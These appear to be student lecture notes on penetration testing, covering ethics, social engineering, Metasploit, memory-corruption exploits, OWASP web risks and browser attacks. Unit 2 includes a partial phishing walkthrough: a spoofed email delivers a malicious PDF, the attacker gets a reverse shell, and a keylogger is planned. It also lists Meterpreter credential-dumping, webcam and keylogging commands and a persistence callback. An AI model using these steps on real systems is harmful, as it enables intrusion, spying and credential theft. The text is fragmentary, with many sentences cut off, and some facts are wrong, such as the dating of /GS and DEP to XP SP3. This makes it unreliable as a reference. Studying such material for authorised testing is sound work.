Vapt Notes
Vapt Notes
PENETRATION TESTING
UNIT -1
The ethics of ethical hacking revolve around the principles of responsibility, consent, transparency,
and the overall goal of improving security rather than exploiting weaknesses. Here are some key
ethical considerations for ethical hackers:
Unauthorized access to systems, even if the intention is to find vulnerabilities, is illegal and unethical. This is
why ethical hackers should only work within the boundaries set by a formal agreement, such as a "Contract
for Penetration Testing" or a "Bug Bounty" agreement.
2. Respecting Privacy
Ethical hackers must protect sensitive information during their work. If they encounter personal or private
data, they must ensure that it is not exposed, misused, or shared with unauthorized parties.
They should also minimize data collection to what's necessary for their security testing.
3. Avoiding Harm
The goal of ethical hacking is to identify weaknesses and vulnerabilities so that they can be fixed, not to
exploit them for personal gain or cause damage to systems or people.
Ethical hackers should not create risks, disrupt services, or damage data while testing. All activities should be
aimed at improving security, not creating additional problems.
The reporting process should be clear, precise, and timely. Hackers should work closely with organizations to
address vulnerabilities, ideally in a way that doesn't put systems at risk by being publicly disclosed before a
fix is available.
5. Professional Integrity
Ethical hackers must maintain high standards of professionalism and integrity. This includes adhering to
codes of conduct set by organizations like (ISC)² or the EC-Council.
ARJUNSAI
Cyber security 1
They should avoid conflicts of interest and refrain from hacking for personal profit or outside the scope of
their role.
They should also ensure that their actions do not violate any terms of service or contracts they may have
with clients.
o Ethical hackers are hired to simulate cyberattacks and assess security measures.
Understanding an adversary’s tactics is crucial for identifying weaknesses in security
systems.
o Tactics of Attackers:
▪ Reconnaissance: Collecting information about a target (network scanning,
social engineering, OSINT – Open Source Intelligence).
▪ Exploitation: Taking advantage of system vulnerabilities to gain unauthorized
access.
▪ Persistence: Maintaining access to the system for further exploitation.
▪ Exfiltration: Stealing valuable data or information.
▪ Covering Tracks: Hiding the traces of the attack to avoid detection.
o By knowing how attackers think and operate, ethical hackers can better anticipate
potential threats and test an organization's defences.
o Ethical hacking walks a fine line between ethical behaviour and potentially illegal
activities. It is important to understand the boundaries between legal and illegal
hacking:
▪ Legal: Hacking performed with written consent, under predefined rules, and
within agreed-upon boundaries.
ARJUNSAI
Cyber security 2
ARJUNSAI
Cyber security 3
▪ Key Differences:
▪ Vulnerability Assessment: Focuses on identifying vulnerabilities,
often without exploiting them.
▪ Penetration Testing: Focuses on actively exploiting vulnerabilities to
determine the level of risk and possible consequences of an attack.
o Both activities are essential for strengthening an organization’s cybersecurity defences.
ARJUNSAI
Cyber security 4
1. Penetration Testing:
o Definition: Penetration testing is the practice of simulating real-world attacks on
systems to uncover vulnerabilities that could be exploited by malicious hackers.
o Pen Test Phases:
1. Planning and Preparation: Define the scope of the test, gather information,
and establish engagement rules.
2. Reconnaissance: Gather information (e.g., IP addresses, domain names) to
build a profile of the target.
3. Scanning and Enumeration: Use automated tools to identify open ports,
services, and vulnerabilities in the target systems.
4. Exploitation: Actively exploit identified vulnerabilities to gain unauthorized
access.
5. Post-Exploitation: Assess the impact of the exploit and try to escalate
privileges or maintain access.
ARJUNSAI
Cyber security 5
ARJUNSAI
Cyber security 6
o Techniques:
▪ Pretexting: The attacker creates a fabricated story (pretext) to obtain
information from the victim. For example, pretending to be from the IT
department to gather sensitive details.
▪ Phishing: Sending deceptive emails that appear to come from legitimate
sources (banks, online services) to trick the target into clicking on malicious
links or sharing credentials.
ARJUNSAI
Cyber security 7
ARJUNSAI
Cyber security 8
o Access Control: Ensure that employees follow proper access protocols, such as
requiring visitors to sign in, wearing badges, and accompanying them at all times in
secure areas.
o Physical Security: Install physical barriers (e.g., security doors, biometric
authentication) to prevent unauthorized access to sensitive areas.
o Security Training: Provide staff with security awareness training to recognize
potential social engineering tactics and report suspicious behaviour.
1. Educating Employees:
o Employees should be regularly trained on recognizing social engineering tactics such
as phishing emails, phone scams, and physical impersonations.
o Key Awareness Areas:
▪ Do not share personal information or credentials over the phone or email.
▪ Verify requests from unknown sources before taking action.
▪ Recognize red flags such as urgency or too-good-to-be-true offers.
2. Implementing Multi-Factor Authentication (MFA):
o MFA adds an extra layer of security, making it harder for attackers to gain access even
if they acquire a user’s credentials through social engineering.
3. Incident Response:
o Establish an incident response plan that includes steps for handling and reporting
suspected social engineering attacks. This will help mitigate the damage caused by such
attacks.
o Example: If an employee suspects they’ve been targeted by a phishing email, they
should report it immediately to the IT or security team for investigation.
ARJUNSAI
Cyber security 9
UNIT 2
Physical Penetration Attacks : Physical penetration attacks involve exploiting physical access to a
facility, system, or device in order to gain unauthorized access, gather sensitive information, or compromise
security systems. These attacks can bypass many of the defenses that focus on digital security, so they highlight
the importance of a comprehensive security strategy that combines both physical and cybersecurity
measures.
Physical penetration is an important aspect of security testing because it reveals vulnerabilities that
digital or cybersecurity defenses might not be able to address. Even with the most sophisticated
firewalls, encryption, and network security protocols, attackers can bypass these layers if they can
physically access a location or system. Here's why physical penetration is critical:
ARJUNSAI
Cyber security 10
It helps identify any gaps or weaknesses in physical security measures that could otherwise be overlooked.
For instance, attackers might gain unauthorized access by posing as legitimate contractors or delivery
personnel, which is something digital security systems can't prevent.
A physical penetration test ensures that these devices and sensitive data are protected from unauthorized
access and theft.
This type of test can help organizations identify weaknesses in their physical infrastructure and take
measures to secure them, such as reinforcing data centers or improving access controls to critical areas.
Ensuring that unauthorized individuals cannot physically access sensitive areas or systems helps prevent
both accidental and intentional data breaches.
Regular physical penetration testing helps demonstrate compliance and reduce the risk of legal or financial
penalties due to weak physical security.
ARJUNSAI
Cyber security 11
By identifying and addressing physical vulnerabilities, organizations can reduce the likelihood of business
disruptions and financial losses caused by physical breaches.
This can foster a security-conscious culture, where employees are more vigilant about adhering to security
protocols, such as using badges, locking doors, and avoiding unescorted visitors.
o Steps Involved:
1. Reconnaissance: The attacker first performs a physical reconnaissance of the
facility, often observing the site for potential weaknesses such as entry points,
employees’ habits, and access points that may be overlooked.
2. Social Engineering: The attacker may use social engineering tactics such as
impersonation, where they pose as an employee, vendor, or maintenance staff
to gain access to restricted areas.
3. Tailgating: One of the most common methods used in physical penetration.
Tailgating occurs when an attacker follows a legitimate employee into a secured
area without proper authentication.
ARJUNSAI
Cyber security 12
4. Exploitation: Once inside, the attacker may install a device (e.g., a rogue
wireless access point) to exploit network vulnerabilities or directly steal
sensitive data.
5. Persistence: Attackers may use various tactics to maintain their access to the
organization’s network, such as planting hidden devices or setting up remote
access tools on internal machines.
o Weak Access Control Systems: Poorly secured doors, windows, and entry points are
common weaknesses that attackers exploit. This could be due to lax enforcement of
security policies or outdated security systems.
o Tailgating: The attacker simply follows an authorized person through an entry point,
bypassing physical security controls.
o Impersonation: Attackers may impersonate employees, contractors, or service
providers to gain access to buildings.
o Locked/Unmonitored Rooms: Identifying rooms or areas where security is low, such
as data centers, server rooms, or restricted office spaces.
o Access Control: Organizations should implement strict access controls like key cards,
biometric authentication, and multi-factor access systems.
o Security Guards: The use of trained security personnel and access management
systems that can authenticate individuals before granting access to restricted areas.
o Surveillance Systems: CCTV cameras can help monitor sensitive areas and detect
suspicious activities.
o Employee Training: Employees should be trained to recognize social engineering
tactics and the risks of tailgating and unauthorized physical access.
ARJUNSAI
Cyber security 13
Insider Attacks:
o Exploitation of Trust: Insiders already have authorized access, so their actions can go
unnoticed. An insider with elevated privileges can steal data, install malware, or
exfiltrate sensitive information.
o Example of Insider Attack: An employee with access to financial data might steal
company funds or leak sensitive intellectual property to competitors.
o Bypassing Security: Insiders may circumvent security mechanisms such as firewalls,
antivirus software, and encryption by leveraging their knowledge of the organization’s
internal network structure.
ARJUNSAI
Cyber security 14
o Least Privilege: Users should be given the minimum level of access required to
perform their jobs. This limits the potential damage an insider can cause if their account
is compromised or they act maliciously.
o Employee Monitoring: Regular monitoring of employee activities, including login
history, file access logs, and email communication, can help identify potential insider
threats.
o Behavioural Analysis: Organizations can deploy systems that track abnormal
behaviour patterns, such as unauthorized access to sensitive data or unusual activity at
odd hours.
o Access Management: Limiting access to critical systems and implementing strong
authentication protocols can prevent unauthorized access from insiders. Regular audits
of access controls should be conducted.
ARJUNSAI
Cyber security 15
What is Metasploit?
Getting Metasploit:
Metasploit is commonly used on Kali Linux (a distribution designed for penetration testing), but
it can be installed on other Linux distributions like Ubuntu as well.
Kali Linux typically comes with Metasploit already pre-installed, but in case it is missing or needs
an update, follow these steps:
1. Update Kali Linux repositories: “sudo apt update” “sudo apt upgrade”
2. Install Metasploit: “sudo apt install metasploit-framework”
3. Start Metasploit: To launch the Metasploit console, use the following command
“msfconsole”
ARJUNSAI
Cyber security 16
1. Add the Metasploit repository: First, add the Metasploit repository to your system's package
manager: “ curl https://raw.githubusercontent.com/rapid7/metasploit-
framework/master/docker/docker-install.sh | sudo bash “
2. Install dependencies: Ensure you have all required dependencies: “ sudo apt install -y
build-essential libpq-dev libpcap-dev libsqlite3-dev “
3. Install Metasploit: Download and install Metasploit via the package manager: “sudo apt
install metasploit-framework “
4. Start Metasploit: Launch Metasploit by running : “ msfconsole”
1. Install Homebrew (if not installed): Homebrew is a package manager for macOS that
simplifies installing software.
2. Install Metasploit using Homebrew: Once Homebrew is installed, you can easily install
Metasploit with: “brew install metasploit”
3. Start Metasploit: After installation, launch Metasploit with: “msfconsole”
By setting up Metasploit on your system, you gain access to a comprehensive suite of exploits, payloads, and
tools that enable effective penetration testing and vulnerability assessments. With its extensive database of
exploits, its flexibility, and the capability to develop custom exploits, Metasploit is a must-have tool in any
cybersecurity toolkit.
ARJUNSAI
Cyber security 17
o Client-Side Attacks: These are attacks that target the user rather than the system itself.
For example, an attacker may exploit vulnerabilities in a web browser or email client
to gain access to a system.
▪ Example: Exploiting a browser vulnerability to deliver a malicious payload via
a malicious website or email attachment.
o Metasploit includes modules that can be used for such attacks, such as
browser_autopwn for exploiting Internet Explorer vulnerabilities.
ARJUNSAI
Cyber security 18
3. So we can see that our pdf file was created in a sub-directory of where we are.
So let’s copy it to our /tmp directory so it is easier to locate later on in our
exploit. Before we send the malicious file to our victim we need to set up a
listener to capture this reverse connection. We will use msfconsole to set up our
multi handler listener.
4. Now that our listener is waiting to receive its malicious payload we have to
deliver this payload to the victim and since in our information gathering we
obtained the email address of the IT Department we will use a handy little script
called sendEmail to deliver this payload to the victim.
Reading message body from STDIN because the '-m' option was not used.
ARJUNSAI
Cyber security 19
IT Dept,
We are sending this important file to all our customers. It contains very important
instructions for upgrading and securing your software. Please read and let us know
if you have any problems.
Sincerely,
5. As we can see here, the script allows us to put any FROM (-f) address, any TO
(-t) address, any SMTP (-s) server as well as Titles (-u) and our malicious
attachment (-a). Once we do all that and press enter we can type any message
we want, then press CTRL+D and this will send the email out to the victim.
6. Now on the victim’s machine, our IT Department employee is getting in for the
day and logging into his computer to check his email. He sees the very
important document and copies it to his desktop as he always does, so he can
scan this with his favorite anti-virus program.
7. We now have a shell on their computer through a malicious PDF client side
exploit. Of course what would be wise at this point is to move the shell to a
different process, so when they kill Adobe we don’t lose our shell. Then obtain
system info, start a key logger and continue exploiting the network.
ARJUNSAI
Cyber security 20
First, you need to select an exploit and choose the Meterpreter payload.
5. Run the Exploit: After setting everything up, you can run the exploit: exploit
ARJUNSAI
Cyber security 21
6. If the exploit is successful, it will establish a reverse connection to your system and open a
Meterpreter session
Once you have an active Meterpreter session, you can begin using the available commands to
interact with the compromised machine. Here are some common Meterpreter commands and their
functionalities.
Commands:
❖ sysinfo: Displays information about the compromised system, including the operating system version,
architecture, and hostname
❖ pwd: Shows the current working directory on the target system
❖ cd: Changes the working directory on the target system.
❖ upload: Uploads a file from your local machine to the target system.
❖ getuid: Displays the user ID of the currently authenticated user on the target system.
❖ screenshot: Captures a screenshot of the target system’s screen.
❖ webcam_snap: Takes a snapshot using the target system's webcam
❖ keyscan_start: Starts keylogging on the target system to capture keystrokes.
❖ keyscan_dump: Displays the captured keystrokes (after keylogging has been started).
❖ kill: Kills a process on the target system by its PID (Process ID).
❖ hashdump: Dumps the password hashes from the target system, often used for cracking
Windows login credentials.
❖ route: Adds routes to the target system to enable pivoting and access to other networks.
ARJUNSAI
Cyber security 22
o Examples: Penetration testers can write scripts in Ruby (Metasploit is written in Ruby)
to automate attacks or interact with specific modules.
Metasploit offers an incredibly flexible architecture that allows penetration testers to create their own
custom modules. These can be exploits, auxiliary modules, post-exploitation modules, or even
custom payloads. Creating custom modules can help you automate specific tasks, exploit unknown
vulnerabilities, or conduct unique attacks that are not covered by the existing Metasploit modules.
• Exploits: Custom exploits can be created for vulnerabilities not yet covered by Metasploit.
Exploits define how to gain control over a system.
• Payloads: Payloads are the code that runs on a compromised system. You can create custom
payloads to meet specific needs.
• Auxiliary Modules: These are used for non-exploitative tasks such as scanning, brute-
forcing, or fuzzing.
• Post-Exploitation Modules: These modules are used after a system has been compromised
to gather further information, escalate privileges, or move laterally within the network.
ARJUNSAI
Cyber security 23
Once you have successfully exploited a system and deployed a payload, Metasploit's post-exploitation
modules come into play. These modules are designed to allow you to maintain access, gather further
information, escalate privileges, and move laterally through the network.
Meterpreter is a highly flexible and dynamic payload that provides an interactive command-line
interface for the compromised system. You can use it to:
• Escalate Privileges: If you gain low-level access to a system, you can attempt to escalate your
privileges to administrator or root.
o Example: getsystem (attempts to escalate privileges to SYSTEM on Windows).
• Network Pivoting: Pivot through the compromised system to access other internal networks
or machines that would otherwise be unreachable.
o Example: route add (adds routes for pivoting to other subnets).
• Credential Dumping: You can extract passwords, hashes, and other sensitive data from the
compromised system.
o Example: hashdump (dumps Windows password hashes).
• Keylogging: Capture keystrokes on the target machine to gather sensitive data (e.g., passwords,
security codes).
o Example: keyscan_start (starts keylogging), keyscan_dump (displays captured
keystrokes).
• Webcam and Screenshot Capture: Use Meterpreter’s built-in commands to take screenshots
or even capture webcam images from the target machine.
o Example: webcam_snap (takes a snapshot using the target’s webcam).
• Persistence: Set up persistence to ensure you maintain access to the compromised system even
after reboots or cleanups.
o Example: run persistence -X -i 10 -p 4444 -r 192.168.1.100
Sometimes the existing Metasploit payloads may not meet the needs of your specific attack scenario.
In such cases, you can create custom exploit payloads.
ARJUNSAI
Cyber security 24
❖ Advanced Techniques: The Metasploit Framework can be used for advanced penetration
testing tasks such as pivoting (attacking other systems behind firewalls) and escalating
privileges to gain higher levels of access in a compromised system.
❖ Learning Metasploit: Penetration testers should constantly update their knowledge of
Metasploit modules, as the tool evolves with new exploits and techniques.
ARJUNSAI
Cyber security 25
UNIT 3
Managing a Penetration Test:
Managing a penetration test involves overseeing the planning, execution, and post-test analysis to
ensure that the assessment is thorough, effective, and ethical. Penetration testing, also known as
ethical hacking, aims to identify vulnerabilities and weaknesses in a system, network, or application
so that they can be fixed before malicious attackers exploit them.
Set Boundaries: Determine the scope of the test, such as which systems, applications, and networks should
be tested. You should also specify what is off-limits (e.g., certain data, sensitive systems, or business-critical
services) to avoid unintended disruptions.
Identify Testing Environment: Ensure that the penetration test is performed in an environment that is
representative of the real system, without causing harm to production environments or user data.
Agree on Constraints: Make it clear what types of attacks or tactics are acceptable and where penetration
testers should not go, particularly in terms of legal boundaries (e.g., attacking critical production systems
without explicit consent).
Qualifications and Experience: Ensure that the penetration testers have the necessary certifications (e.g.,
OSCP, CEH, CISSP) and experience to perform the tests effectively. This includes knowledge of the latest
attack methods and tools.
Collaboration with IT: Work closely with the internal IT team to ensure coordination. They can provide
insights about the systems, environments, and access controls, while helping with any potential recovery if
systems are disrupted during testing.
Managing a penetration test (pen test) is not just about performing technical activities; it also
involves planning, coordination, and communication with stakeholders. It requires a systematic
approach to ensure that all goals are met, and that the test is executed ethically, safely, and effectively.
This process involves various stages, from the initial planning phase to the final reporting phase.
ARJUNSAI
Cyber security 26
o Initial Scoping: Before starting a penetration test, it’s crucial to define the scope of the
test. This involves understanding the client’s objectives, the systems to be tested, and
the resources available. The scope should specify:
▪ Testing Methods: Whether the test will be black-box (no prior knowledge),
white-box (full access), or gray-box (limited access).
▪ Testing Hours: Specify whether the test will occur during business hours or
after hours.
▪ Rules of Engagement (RoE): Establish clear boundaries for the penetration test
to ensure that the testing does not affect the production environment.
o Example: A client may request testing of their public-facing web applications and a
limited internal network assessment.
ARJUNSAI
Cyber security 27
o Exploitation Phase: The tester uses tools and techniques to exploit identified
vulnerabilities and gain access to the system. This could include SQL injection, cross-
site scripting (XSS), buffer overflow attacks, etc.
o Post-Exploitation Phase: Once access is gained, the tester looks for ways to escalate
privileges, maintain access, and explore other parts of the network. The tester will also
look to exfiltrate data to understand what could be at risk.
o Communication is essential to ensure the right information is shared with the client.
The tester should document the vulnerabilities found, the exploitation process, and any
sensitive information accessed.
o Communication Channels: Clear channels (e.g., encrypted emails, secure file sharing)
should be used to prevent the exposure of sensitive information.
o After the test is completed, a detailed report must be provided to the client. This report
should include:
o Report Examples: The report may include screenshots, logs, and detailed explanations
of how the exploitation was carried out.
ARJUNSAI
Cyber security 28
1. Stack Operations:
o In Linux, a stack is a region of memory that stores function calls and local variables.
When a function is called, a stack frame is created that holds the function’s local
variables, return address, and other data.
o Stack Overflow: A buffer overflow in the stack occurs when data exceeds the
allocated memory space, overwriting critical areas like the return address. This can be
exploited to take control of the program's execution flow.
2. Buffer Overflows:
▪ Exploiting Buffer Overflows: Attackers can inject malicious code into the
stack or heap memory to overwrite the return address or function pointers,
allowing them to redirect program flow to malicious code (like a reverse shell).
o These attacks occur when an attacker has access to a vulnerable application running on
the same machine. The attacker can exploit buffer overflows to execute arbitrary code
with the same privileges as the program.
ARJUNSAI
Cyber security 29
o Creating the Exploit: The next step is crafting a payload to take advantage of the
vulnerability. This often involves writing shellcode to perform specific tasks (e.g.,
opening a reverse shell).
o Testing the Exploit: Once the exploit is developed, it must be tested in a controlled
environment. The goal is to ensure that it works as expected without causing unintended
harm.
o Refining the Exploit: If the exploit does not work as expected, further refinement may
be needed, such as adjusting the shellcode or modifying how the exploit is triggered.
Windows Exploits
o Debugging: Tools like OllyDbg or Immunity Debugger are often used to debug
ARJUNSAI
Cyber security 30
o Techniques:
o SEH is a Windows mechanism for handling exceptions and errors. Attackers can
exploit SEH to overwrite the exception handler with malicious code, effectively taking
control of program execution.
o Exploiting SEH: By overwriting the SEH handler with malicious code, attackers can
redirect program flow and execute arbitrary code.
A seh (structured exception handling) overwrite is a type of buffer overflow attack that
exploits the structured exception handling mechanism in Windows operating systems.
It involves overwriting the exception handler address in the SEH chain, which allows
an attacker to take control of the program flow and execute arbitrary code.
A seh overwrite attack can be used to execute malicious code on a victim's machine,
bypass antivirus and other security measures, and gain unauthorized access to sensitive
data. It can also cause system crashes and disrupt the normal functioning of the targeted
application or operating system.
ARJUNSAI
Cyber security 31
To protect your system from seh overwrite attacks, you should keep your operating
system and applications up to date with the latest security patches and updates. You
should also use antivirus and other security software to detect and block malicious code.
Furthermore, you can use techniques such as code signing, data execution prevention
(DEP), and address space layout randomization (ASLR) to make it more difficult for
attackers to exploit vulnerabilities in your system.
Detecting a seh overwrite attack can be challenging, as this type of attack can be used
to bypass security measures such as antivirus and intrusion detection systems.
However, there are some signs that you can look for, such as abnormal program
behavior, crashes or timeouts, and unexpected network activity. You can also use tools
such as debuggers and system monitors to analyze the behavior of running processes
and detect anomalies. In addition, you can enable logging and monitoring features in
your operating system and applications to capture relevant events and data.
Windows XP Service Pack 3 (SP3) includes several improvements to security, but it doesn't include
the advanced memory protections found in later versions like Vista or Windows 7. However, some
basic protections were implemented:
ARJUNSAI
Cyber security 32
o XP SP3 introduced hardware-based DEP (using the CPU’s NX bit) to enhance the protection
from these attacks.
• Address Space Layout Randomization (ASLR):
o ASLR is not available natively in Windows XP SP3.
o However, some programs and developers could enable ASLR in their applications if they
chose to use compatible compilers.
o ASLR randomizes the memory address locations of critical data structures and system
components, making it harder for attackers to predict the location of their malicious
payloads.
• Stack Protection:
o Stack-based buffer overflows were a significant threat before XP SP3.
o Windows XP SP3 introduced the /GS (Buffer Security Check) compiler option, which helps
detect stack-based buffer overflows by placing a canary value in the function’s stack frame.
o If an attacker tries to overwrite the return address on the stack, the canary value is altered,
and the application will terminate, preventing the exploit from succeeding.
Windows 7 expanded on the security features introduced in Windows Vista, with more refined
control and enhanced memory protection mechanisms to thwart sophisticated attack techniques.
ARJUNSAI
Cyber security 33
Windows Server 2008 (released around the same time as Windows Vista) included most of the same
memory protection mechanisms, but tailored for enterprise and server environments with a greater
emphasis on stability and protection against targeted attacks on servers.
ARJUNSAI
Cyber security 34
o Heap Spraying: Involves filling the heap with malicious code, often used to bypass
DEP by making sure the attacker’s code ends up in a location where it can be executed.
ARJUNSAI
Cyber security 35
UNIT 4
Web application security vulnerabilities are weaknesses or flaws in a web application that can
be exploited by attackers to compromise the system, steal data, or perform malicious actions.
These vulnerabilities can range from issues related to the code, configuration, or design of the
Here’s an overview of the top web application security vulnerabilities that commonly expose
applications to threats and attacks:
Impact: Data theft, data modification, authentication bypass, and complete compromise of the database.
Prevention: Use parameterized queries, prepared statements, and stored procedures to prevent direct
interaction between user input and SQL queries.
Impact: Session hijacking, phishing, defacement of content, and unauthorized actions on behalf of users.
Prevention: Sanitize user inputs, escape outputs, implement Content Security Policy (CSP), and use
frameworks that auto-escape data.
Impact: Unauthorized actions performed on behalf of an authenticated user, such as changing passwords,
transferring money, etc.
ARJUNSAI
Cyber security 36
Prevention: Use anti-CSRF tokens, implement SameSite cookies, and ensure that state-changing requests
are POST and protected.
4. Broken Authentication
Description: Broken authentication vulnerabilities occur when an attacker can bypass authentication
mechanisms to gain unauthorized access to user accounts, applications, or sensitive data.
Prevention: Use strong password policies, implement multi-factor authentication (MFA), securely store
passwords (e.g., using salted hashes), and enforce session management best practices (e.g., session
timeouts).
Prevention: Encrypt sensitive data using SSL/TLS for data in transit and use strong encryption for data at
rest. Implement secure storage and key management practices for sensitive information.
6. Security Misconfiguration
Description: Security misconfiguration occurs when web applications, servers, or databases are not securely
configured, leaving them vulnerable to attacks. Examples include leaving default credentials in place,
exposing sensitive files, or misconfiguring cloud security settings.
Prevention: Regularly audit configurations, remove unused services, and ensure that default settings (e.g.,
passwords, permissions) are changed. Use automated security checks to detect misconfigurations.
Prevention: Implement role-based access control (RBAC), validate user actions against their roles, and
ensure that sensitive data is protected at every layer (e.g., server, application, database).
Impact: Exploitation of vulnerabilities in outdated libraries or components, which may lead to system
compromise.
Prevention: Regularly update and patch third-party libraries and frameworks, use tools like OWASP
Dependency-Check to monitor for vulnerable components.
ARJUNSAI
Cyber security 37
Prevention: Disable external entity processing in XML parsers and validate XML input.
Prevention: Validate and sanitize URL redirects, use a whitelist of trusted destinations, and avoid direct user
control over redirection URLs.
o Web applications are widely used in today's digital ecosystem, but they are also
ARJUNSAI
Cyber security 38
o The OWASP (Open Web Application Security Project) maintains a list of the Top
Ten Web Application Security Risks. These risks represent the most critical
2. Injection Vulnerabilities:
o Types of Injection:
XML parsers.
ARJUNSAI
Cyber security 39
▪ Example: A user input field (e.g., a login form) that fails to sanitize input could
allow an attacker to enter a malicious SQL query like ' OR 1=1 --, which would
bypass authentication.
Mitigation:
injection attacks.
untrusted data in the web page content returned to the user, allowing
o Types of XSS:
ARJUNSAI
Cyber security 40
o Stored XSS: Malicious scripts are stored in the server's database and later served to
o Reflected XSS: Malicious scripts are immediately executed when a user clicks on a
o DOM-based XSS: (Document Object Model) The vulnerability exists in the client-side
code, where untrusted data is processed by the browser, executing the attack.
Exploiting XSS : Attackers can inject scripts that steal cookies, session tokens, or personal
ARJUNSAI
Cyber security 41
Mitigation:
▪ Input Validation: Ensure that all user input is sanitized before being included
▪ Content Security Policy (CSP): A security feature that helps prevent the
code .Use online tools like HTML Sanitizer to sanitize HTML code online.
ARJUNSAI
Cyber security 42
The OWASP Top Ten represents the most critical web application security risks.
Some of the most important vulnerabilities (in addition to injection and XSS)
include:
no encryption at all).
mechanisms.
o Broken Access Control: Insufficient restrictions on what authenticated users can do.
o Cross-Site Request Forgery (CSRF): An attack where the attacker tricks a user into
o Insufficient Logging and Monitoring: Failure to monitor and log security events,
ARJUNSAI
Cyber security 43
potential weaknesses before they can be exploited by malicious actors. The goal of vulnerability
analysis is to reduce the attack surface of a system and improve overall security.
• Identification:
• Discover vulnerabilities in the system using tools like vulnerability scanners, penetration
testing, and manual audits.
• Assessment:
• Remediation:
• Once vulnerabilities are identified and assessed, the next step is to fix or mitigate them. This
can include patching, configuration changes, or deploying compensating controls.
• Re-testing:
• After remediation, the system should be re-tested to ensure that the vulnerabilities have been
effectively mitigated
1. Passive Analysis:
ARJUNSAI
Cyber security 44
• Non-intrusive: It does not alter or interact with the target system, making it a safe method.
• Data Collection: Passive analysis gathers data through available logs, network traffic,
configurations, and system responses.
• Stealthy: It does not alert the system or the target of its presence, which is especially useful in
sensitive environments.
o Techniques:
credentials. Tools like Wireshark or tcpdump can be used for passive network
analysis.
software versions).
▪ Log Analysis: Reviewing system logs (e.g., firewall logs, intrusion detection
ARJUNSAI
Cyber security 45
Disadvantages:
• Cannot identify vulnerabilities related to how the system handles active interactions or user
input.
• Limited to known vulnerabilities or issues that can be observed without active exploitation.
o Definition: Source code analysis involves reviewing the source code of an application
to identify security vulnerabilities before the code is deployed to production. This can
o Static Analysis: Analyzing the code without executing it, typically through the use of
o Manual Code Review: Reviewing the source code line by line to identify common
cryptographic functions.
Example: Reviewing code to identify places where user inputs are concatenated
directly into SQL queries without proper parameterization, making the application
• Can identify vulnerabilities early in the development lifecycle, even before the application is
deployed.
• Provides a comprehensive review of potential vulnerabilities in the code.
ARJUNSAI
Cyber security 46
• Helps developers write more secure code by highlighting coding practices that lead to security
issues.
Disadvantages:
• Requires access to the source code, which may not be available for proprietary software.
• Can be time-consuming and may require specialized knowledge, especially for large or
complex codebases
3. Binary Analysis:
This analysis can be done with tools like IDA Pro, Radare2, or Ghidra.
security risks.
how the application works internally. This is often used to uncover hidden
Disadvantages:
ARJUNSAI
Cyber security 47
• Analysing compiled code can be complex, especially when the binary is obfuscated or packed.
• Requires a high level of expertise in reverse engineering and the tools used for binary analysis.
• Vulnerability Scanners:
o Nessus, Qualys, OpenVAS, and Nexpose are widely used for automated vulnerability
scanning, which helps in identifying vulnerabilities in network services, web
applications, and hosts.
• Static Analysis Tools:
o SonarQube, Fortify, and Checkmarx are popular static application security testing
(SAST) tools that analyze the source code for vulnerabilities.
• Dynamic Analysis Tools:
o OWASP ZAP, Burp Suite, and Acunetix are dynamic application security testing (DAST)
tools used to identify vulnerabilities in running applications by simulating real-world
attacks.
• Binary Analysis Tools:
o IDA Pro, Ghidra, and Radare2 are used for analyzing compiled executable binaries to
identify potential vulnerabilities.
ARJUNSAI
Cyber security 48
UNIT 5
Client-side browser exploits are a critical aspect of penetration testing, as they target vulnerabilities
within the browser or associated technologies on the user's machine. These vulnerabilities can allow
an attacker to compromise a victim's system, steal data, or perform malicious actions. Browser exploits
are particularly effective because they can be triggered through seemingly innocent interactions with
websites, email links, or malicious ads, making them a common attack vector.
1.Drive-By Downloads
Description: In a drive-by download attack, a user visits a compromised or malicious website, and the
website automatically downloads and executes malicious code on the user's machine, often without their
knowledge or consent.
Impact: Malware infection, data theft, system compromise, or use of the infected machine as part of a
botnet.
Prevention:
Use click-to-play settings for Java applets, Flash, and other plugins.
2.Clickjacking
Description: Clickjacking occurs when an attacker tricks a user into clicking on something different from
what they think they are clicking on. This is typically done by loading a transparent iframe over a legitimate
webpage. When the user clicks on a seemingly harmless button or link, they actually trigger an action in the
hidden iframe (such as changing their password or transferring funds).
Impact: Unauthorized actions performed by users, like changing account settings, performing transactions,
or revealing sensitive information.
Prevention:
Use X-Frame-Options HTTP header or Content Security Policy (CSP) frame-ancestors directive to prevent the
page from being embedded in iframes.
ARJUNSAI
Cyber security 49
Impact: Data theft, including login credentials, financial information, and browsing history. Extensions can
also modify page content or steal session tokens.
Prevention:
Only install extensions from trusted sources (e.g., official browser extension stores).
Impact: Session hijacking, persistent data leakage, and cross-site data theft.
Prevention:
Avoid storing sensitive data in local storage (e.g., passwords, session tokens).
5. WebSockets Exploits
Description: WebSockets are used for full-duplex communication between clients and servers. If not
properly secured, WebSocket connections can be hijacked, or sensitive data can be intercepted by attackers
who can manipulate or eavesdrop on the traffic.
Prevention:
Validate user input to prevent injection of malicious data into WebSocket messages.
Prevention:
ARJUNSAI
Cyber security 50
computer, such as web browsers, plugins, and other software. These vulnerabilities are
particularly interesting to attackers because they provide a direct way to exploit users,
o The client-side attack surface is rich due to the complex nature of modern web browsers
and the vast array of plugins (Java, Flash, PDF readers, etc.) that can be exploited.
o Attractive Targets: Client-side attacks can be difficult to defend against because they
often exploit weaknesses in widely used software, making them potentially effective
o Internet Explorer (IE) was historically one of the most targeted browsers due to its
ARJUNSAI
Cyber security 51
▪ Protected Mode: Limits the privileges of web applications to restrict what they
browser plugins and browser features. For example, exploits targeted flaws in ActiveX
o However, with the decline of ActiveX and Flash, modern browsers have focused on
security mechanisms such as sandboxing, which isolates the browser from the
o Exploit developers often look for vulnerabilities in web browser components, such as
ARJUNSAI
Cyber security 52
may allow attackers to execute arbitrary code or access sensitive information from the
system.
▪ Cross-Site Scripting (XSS): Injecting malicious scripts into web pages viewed
by other users.
program’s execution.
▪ Heap Spraying: This technique involves filling the heap memory with
malicious data to increase the chances that the malicious code will be executed
by the browser.
Heap Spraying:
"Heap Spray Attacks" are a popular form of assault. Many malicious hackers seeking to
compromise computer systems and manipulate them for their own nefarious purpose often use
this strategy to exploit system vulnerabilities.
o The “heap” refers to a particular space within a computer's memory where dynamic
data is stored, which occurs during runtime. All the variables created at runtime are
allocated in the heap memory—a form of storage management that provides more
o Heap spraying is an attack technique that manipulates the heap memory area by
filling it with a large quantity of known malicious payloads. The goal is to fill the
memory space in such a way that it is more likely that the malicious code will be
executed when the browser eventually tries to execute data from the heap.
ARJUNSAI
Cyber security 53
o How It Works:
▪ The attacker sprays the heap with shellcode or other malicious data.
